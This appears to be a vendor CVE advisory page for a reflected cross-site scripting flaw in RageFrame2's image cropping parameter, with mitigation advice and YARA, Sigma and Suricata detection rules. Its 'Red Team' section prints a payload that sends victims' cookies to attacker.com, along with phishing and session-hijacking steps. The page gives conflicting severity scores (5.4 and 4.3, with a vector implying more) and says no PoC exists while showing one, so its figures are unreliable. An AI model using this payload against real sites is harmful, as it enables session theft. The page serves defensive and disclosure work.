☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-30880

CVE-2024-30880 Cross-Site Scripting in Rageframe2
📅 PUBLISHED: 2024-04-11 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30880 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in RageFrame2 version 2.6.43. The flaw resides in the image cropping function, where the multiple parameter is not properly sanitized. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, credential theft, or sensitive information disclosure. The vulnerability is publicly known but remains unpatched as of the latest advisory. The CVSS score is 0.0 in the NVD record, but based on the description and impact, a more realistic score is 4.3 (Medium).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RageFrame2 is a PHP-based framework. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. No supply chain compromise is indicated; however, the lack of a patch means users must rely on manual mitigation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score: 4.3 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the image cropping functionality of RageFrame2. The multiple parameter is echoed back to the user without proper encoding or validation. An attacker can craft a URL like:

https://target.com/index.php?r=image/crop&multiple=<script>alert('XSS')</script>

When a victim clicks this link, the script executes in their browser context. The lack of input sanitization allows arbitrary HTML/JavaScript injection. This can be used to steal cookies, perform actions on behalf of the user, or redirect to malicious sites.

The vulnerability is unpatched as of the latest advisory. No official fix or commit has been released by the vendor.

Vulnerable vs. Patched Code

Vulnerable Code (RageFrame2 v2.6.43):
The multiple parameter is directly output without sanitization.

// In image cropping controller
public function actionCrop($multiple = '')
{
    // No sanitization
    return $this->render('crop', ['multiple' => $multiple]);
}

Patched Code (Hypothetical):
The parameter should be HTML-encoded before output.

public function actionCrop($multiple = '')
{
    // Sanitize with HTML encoding
    $multiple = htmlspecialchars($multiple, ENT_QUOTES, 'UTF-8');
    return $this->render('crop', ['multiple' => $multiple]);
}

Since no official patch exists, users must implement this fix manually.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft the malicious URL

https://target.com/index.php?r=image/crop&multiple=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2: Deliver the link
Use phishing emails, social media, or other channels to trick a user into clicking.

Step 3: Capture the cookie
Set up a listener on attacker.com to receive the stolen cookie.

Step 4: Session hijacking
Use the stolen cookie to impersonate the victim.

Blue Team (Defense & Detection)

Mitigation Steps:

  1. Input Validation: Sanitize the multiple parameter using htmlspecialchars() or a similar function.
  2. Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
  3. Web Application Firewall (WAF): Deploy rules to block XSS payloads in query parameters.
  4. User Education: Train users not to click suspicious links.

Detection:

  • Monitor logs for requests containing <script> tags in the multiple parameter.
  • Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

  • URL Pattern: index.php?r=image/crop&multiple=*<script>*
  • Network Traffic: HTTP requests with multiple parameter containing <script>, onerror, onload, or similar XSS vectors.
  • Log Entries: Access logs showing GET /index.php?r=image/crop&multiple=... with unusual characters.
  • Cookie Theft: Outbound connections to unknown domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2024_30880_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against RageFrame2 image cropping function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30880"
    strings:
        $xss_payload = /multiple=.*<script[^>]*>.*<\/script>/i
        $xss_event = /multiple=.*on\w+\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against RageFrame2 Image Cropping
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the 'multiple' parameter targeting RageFrame2
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: 'index.php?r=image/crop&multiple='
        c-uri|re: 'multiple=.*<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30880 - Reflected XSS in RageFrame2 Image Cropping"; flow:to_server,established; content:"GET"; http_method; content:"index.php?r=image/crop&multiple="; http_uri; pcre:"/multiple=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Manually sanitize the multiple parameter in the image cropping controller using htmlspecialchars().
  2. Upgrade: Monitor the RageFrame2 repository for an official patch. If none is released, consider forking and applying the fix.
  3. WAF Rules: Deploy a WAF rule to block requests containing <script> in the multiple parameter.
  4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.
  5. User Awareness: Educate users about phishing attacks that exploit this vulnerability.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30880/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.